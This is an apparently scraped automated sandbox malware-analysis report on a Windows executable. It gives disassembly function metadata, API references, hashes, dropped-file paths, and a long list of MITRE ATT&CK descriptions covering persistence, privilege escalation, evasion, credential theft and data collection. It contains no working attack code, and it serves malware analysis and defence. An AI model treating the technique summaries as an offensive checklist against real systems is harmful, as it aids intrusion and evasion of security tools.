RegCloseKey.ADVAPI32(?,?,?,?,?,00007FF7E50761EF), ref: 00007FF7E50767C1

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009, xrefs: 00007FF7E507678B

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009
API String ID: 47109696-713323490
Opcode ID: 2ffe4356ded92a3a12c34227f40b863e036080daa4a6f7c6b14700cb5677b520
Instruction ID: 047d8b64c85204cf5dc99fb6324e3f8490b87ac12df5f1b22558766bee909760
Opcode Fuzzy Hash: 2ffe4356ded92a3a12c34227f40b863e036080daa4a6f7c6b14700cb5677b520
Instruction Fuzzy Hash: 03F0FC21A1864181DB109B34E41436AE374FF54F94F941036DA4D477A8EF7DC084C716

Function 00007FF7E50DCEF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

getpeername.WS2_32 ref: 00007FF7E50DCF19
inet_ntoa.WS2_32 ref: 00007FF7E50DCF23

Strings

<unavailable>, xrefs: 00007FF7E50DCF2E

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: getpeernameinet_ntoa
String ID: <unavailable>
API String ID: 1982201544-1096956887
Opcode ID: 5c4993396a7e2dabc89e2e5b10100f8684576445ded950f332601a8c5eebb03d
Instruction ID: 95c9c8dbbeac6e399d16bdf514139273657b29b4bbab0361524648393d051d9e
Opcode Fuzzy Hash: 5c4993396a7e2dabc89e2e5b10100f8684576445ded950f332601a8c5eebb03d
Instruction Fuzzy Hash: 97F0127561874986EB60AB10F4612A9B360FB88B58FC01536E54D46728DF3CE105CB11

Function 00007FF7E50E1740 Relevance: 5.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E50E36C0: malloc.LIBCMT ref: 00007FF7E50E36CB

free.LIBCMT ref: 00007FF7E50E1777

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

free.LIBCMT ref: 00007FF7E50E17A0

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: free$ErrorFreeHeapLast_errnomalloc
String ID:
API String ID: 1225357528-0
Opcode ID: 565a491ae928519ec85caab6d3bd3699c487abe761962c68358d79beabe01652
Instruction ID: 23bfc82c3f249ba77a3999dfbbbf93e0427fdaec6d47f8a9d4a11122c1f06bc3
Opcode Fuzzy Hash: 565a491ae928519ec85caab6d3bd3699c487abe761962c68358d79beabe01652
Instruction Fuzzy Hash: 0D115151B1C28A82EE44B666B26137E9251AF84FC0F945032FA4EC778BDE3DD4824716

Function 00007FF7E5107A70 Relevance: 5.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF7E5107AE5
GetLastError.KERNEL32 ref: 00007FF7E5107AEF
CloseHandle.KERNEL32 ref: 00007FF7E5107B17
GetLastError.KERNEL32 ref: 00007FF7E5107B21

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 29aa8eabd37ce073336345db576575990ec91cb532e4ac08565d8b170ae5ab50
Instruction ID: 5b5f19a9e074b78df117916adc87f461b53d91afe47539c2a744cf604a18f417
Opcode Fuzzy Hash: 29aa8eabd37ce073336345db576575990ec91cb532e4ac08565d8b170ae5ab50
Instruction Fuzzy Hash: 6F211E31A19A4EC6EB50BF24E4A0369B360FF44F48FA41132DA4E83659DF3CD845C762

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Olz7TmvkEW.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f37ef1f9-647d-4b6b-a142-49b04b2a47d1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241223123743Z-236.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
Olz7TmvkEW.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre